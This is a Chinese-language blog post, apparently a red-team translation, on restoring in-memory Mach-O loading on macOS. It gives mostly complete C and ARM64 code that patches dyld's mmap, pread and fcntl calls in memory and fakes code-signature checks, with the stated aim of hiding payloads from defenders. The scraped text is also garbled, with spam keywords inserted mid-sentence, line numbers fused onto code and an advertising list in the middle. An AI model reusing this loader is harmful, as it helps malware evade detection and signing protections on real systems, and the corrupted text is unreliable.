IOS逆向-恢复Dyld的内存加载方式

 人参与 | 时间：2025-11-27 00:38:57

之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的逆内存Mach-O捆绑包的内存加载方式 。虽然这些方法我们今天仍然还在使用 ，向恢但是复D方式这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。

@roguesys 在 2022 年 2 月发布公告称 ，加载dyld 的逆内存代码已经被更新 ，传递给 NSLinkModule 的向恢任何模块都将会被写入到一个临时的位置中。

作为一个红队队员，复D方式这对于我们的加载渗透工作并没有好处。毕竟，亿华云逆内存NSLinkModule一个非常有用的向恢api函数，这个函数可以使得我们的复D方式有效载荷不被蓝队轻易的发现  。

因此，加载在这篇文章中，逆内存我们来仔细看看dyld的向恢变化，并看看我们能做些什么来恢复这一功能 ，复D方式让我们的工具在内存中多保存一段时间 ，防止被蓝队过早的发现。

NSLinkModule有何与众不同

由于dyld是开源的香港云服务器 ，我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。

该函数的签名为：

复制NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }1.

该函数的第一个参数是ofi ，它是用NSCreateObjectFileImageFromMemory创建的，它指向了存放Mach-O包的内存 。然后我们还有moduleName参数和options参数，前者只是用于记录语句 ，源码下载后者一般是被忽略不用的。

通过查看代码发现 ，最新版本的NSLinkModule ，会将osi所指向的内存写入磁盘。

复制if ( ofi->memSource != nullptr ) {

...

char tempFileName[PATH_MAX];const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX);if ( tmpDir[strlen(tmpDir) - 1] != / )strlcat(tempFileName, "/", PATH_MAX);}

else

strlcpy(tempFileName, "/tmp/", PATH_MAX);strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);int fd = this->libSystemHelpers->mkstemp(tempFileName);if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);}

...

}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.

通过分析可以发现，代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中 ，只不过是现在macOS也决定使用这段代码路径。高防服务器所以我们知道内存会被写入磁盘 ，并且路径会被传递给dlopen_from。

复制...

ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);...1.2.3.

因此 ，从本质上讲 ，这也就使得NSLinkModule成为了dlopen的一个封装器。

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集（含答案）

⑧ APP客户端安全检测指南（安卓+IOS）

那我们能否恢复dyld之前的内存加载特性呢 ？

我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么 ，如果我们在调用之前拦截它们 ，会发生什么呢？

使用dyld进行hook

为了拦截 I/O 调用 ，我们首先需要了解如何对dyld进行hook。

我们研究看看dyld是如何处理mmap调用的云计算 。启动 Hopper 并加载 /usr/lib/dyld ， 显示mmap 是由 dyld 使用 svc 调用的 。

知道了这一点，如果我们找到内存中存放这段代码的位置 ，我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢 ？用下面的这段代码就可以 。

复制ldr x8,

_value

br x8

_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location1.2.3.

在我们进行操作之前，首先我们找到进程地址空间中dyld的基址。这是模板下载通过调用task_info完成的 ，我们可以传入TASK_DYLD_INFO来检索dyld的基址信息 。

复制void *getDyldBase(void) { struct task_dyld_info dyld_info;mach_vm_address_t image_infos;struct dyld_all_image_infos *infos;mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;kern_return_t ret;ret = task_info(mach_task_self_,TASK_DYLD_INFO,(task_info_t)&dyld_info,&count);if (ret != KERN_SUCCESS) { return NULL;}image_infos = dyld_info.all_image_info_addr;infos = (struct dyld_all_image_infos *)image_infos;return infos->dyldImageLoadAddress;}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.

只要我们有了dyld的基址，我们就可以为mmap服务的调用查找签名 。

复制bool searchAndPatch(char *base, char *signature, int length, void *target) { char *patchAddr = NULL;kern_return_t kret;for(int i=0; i < 0x100000; i++) { if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) { patchAddr = base + i;break;}}...1.2.3.4.5.6.7.8.9.10.11.12.

当我们找到一个匹配的签名时 ，我们可以在我们的ARM64的Stub中打补丁  。由于我们要处理的是内存的 "Read-Exec"页，我们需要用以下方法来更新内存保护。

复制kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);if (kret != KERN_SUCCESS) { return FALSE;}1.2.3.4.

注意这里的VM_PROT, 这个是必须要设定的 ，因为该内存页在其最大内存保护中没有设置写权限。

设置了写权限后 ，我们可以用我们的补丁覆盖内存 ，然后将保护重新设定为Read-Exec。

复制//

Copy our path

memcpy(patchAddr, patch, sizeof(patch));// Set

the br address for our hook call

*(void **)((char*)patchAddr + 16) = target;//

Return exec permission

kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);if (kret != KERN_SUCCESS) { return FALSE;}1.2.3.4.5.6.7.8.9.10.11.

现在我们需要思考一下，当我们在试图修改可执行的内存页时，在M1 macs上会发生什么 。

由于macOS要确保每一页可执行内存都有签名 ，这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限（com.apple.security.cs.disable-executable-page-protection也适用）来运行我们的代码。

那么 ，既然如此 ，我们该如何处理我们的hook程序呢 ？

API模拟调用

有了所有组件的映射 ，我们现在就可以开始模拟API的调用。根据dyld的代码，我们需要对mmap、pread 、fcntl的内容进行处理 。

如果我们这样做是正确的 ，我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用  ，而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时，我们就可以用内存中的副本动态地交换内容 。

首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名，这是dyld写入磁盘的临时文件。

如果是这样的话，我们就不需要从磁盘上映射内存了 ，只要简单地分配一个新的内存区域 ，然后复制到我们构造的Mach-O包上。

复制#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { char *alloc;char filePath[PATH_MAX];int newFlags;memset(filePath, 0, sizeof(filePath));// Check if the file is our "in-memory"

file

if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { newFlags = MAP_PRIVATE | MAP_ANONYMOUS;if (addr != 0) { newFlags |= MAP_FIXED;}alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);memcpy(alloc, memoryLoadedFile+offset, len);vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);return alloc;}}// If for another file,

we pass through

return mmap(addr, len, prot, flags, fd, offset);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.

接下来是pread参数 ，它会被dyld在加载时用来多次验证Mach-O的UUID 。

复制ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX];memset(filePath, 0, sizeof(filePath));// Check if the file is our "in-memory"

file

if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset, nbyte);return nbyte;}}// If for another file,

we pass through

return pread(fd, buf, nbyte, offset);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.

最后我们处理fcntl 。它会在很多地方被调用 ，可以在任何可能会失败的mmap调用之前验证编码的要求。

由于我们已经完成了hook，我们可以使dyld正常运行来绕过这些检查。

复制int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX];memset(filePath, 0, sizeof(filePath));// Check if the file is our "in-memory"

file

if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures_t *fsig = (fsignatures_t*)param;// called to check that cert covers file.. so well make it cover everything ;)fsig->fs_file_start = 0xFFFFFFFF;return 0;}// Signature sanity check by dyldif (cmd == F_CHECK_LV) { // Just say everything is finereturn 0;}}}return fcntl(fildes, cmd, param);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.

有了以上这些 ，然后我们可以把这一切组合起来。

复制int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) { @autoreleasepool { char *dyldBase;int fd;int size;void (*function)(void);NSObjectFileImage fileImage;// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise weve just recreated dlopen :/size = readFile("/tmp/loadme", &memoryLoadedFile);dyldBase = getDyldBase();searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);// Set up blank content, same size as our Mach-Ochar *fakeImage = (char *)malloc(size);memset(fakeImage, 0x41, size);// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake imagefileImage = (NSObjectFileImage)malloc(1024);*(void **)(((char*)fileImage+0x8)) = fakeImage;*(void **)(((char*)fileImage+0x10)) = size;void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);void *symbol = NSLookupSymbolInModule(module, "runme");function = NSAddressOfSymbol(symbol);function();}}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.

当我们执行时 ，可以看到在硬盘上就会创建我们的虚假文件 。

但通过在运行时的交换内容来看，我们发现我们的内存模块加载完全正常。

其他

所以 ，最后一个阶段让我感到很困惑......我们使用了NSLinkModule，它生成了一个临时文件，并且用垃圾字符对它进行了填充  。如果我们忽略这一点，而只是使用操作系统中的任意一个库来调用dlopen呢 ？这样应该就可以避免我们向磁盘中写入任何文件 。

事实证明，这个想法是正确的。比如：

复制void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);function = dlsym(a, "runme");function();1.2.3.

而不是只是搜索NSCreateObjectFileImageFromMemory ，我们只是在搜索任何加载libffi-trampolines.dylib的引用 ，并通过我们的代码进行了替换 ，我们得到了同样的结果 。

这里有一些注意事项 。首先，我们需要确保库比我们自己要加载的模块大，否则当涉及到pread和mmap时，系统最终会截断我们的Mach-O 。

顶: 82189踩: 37571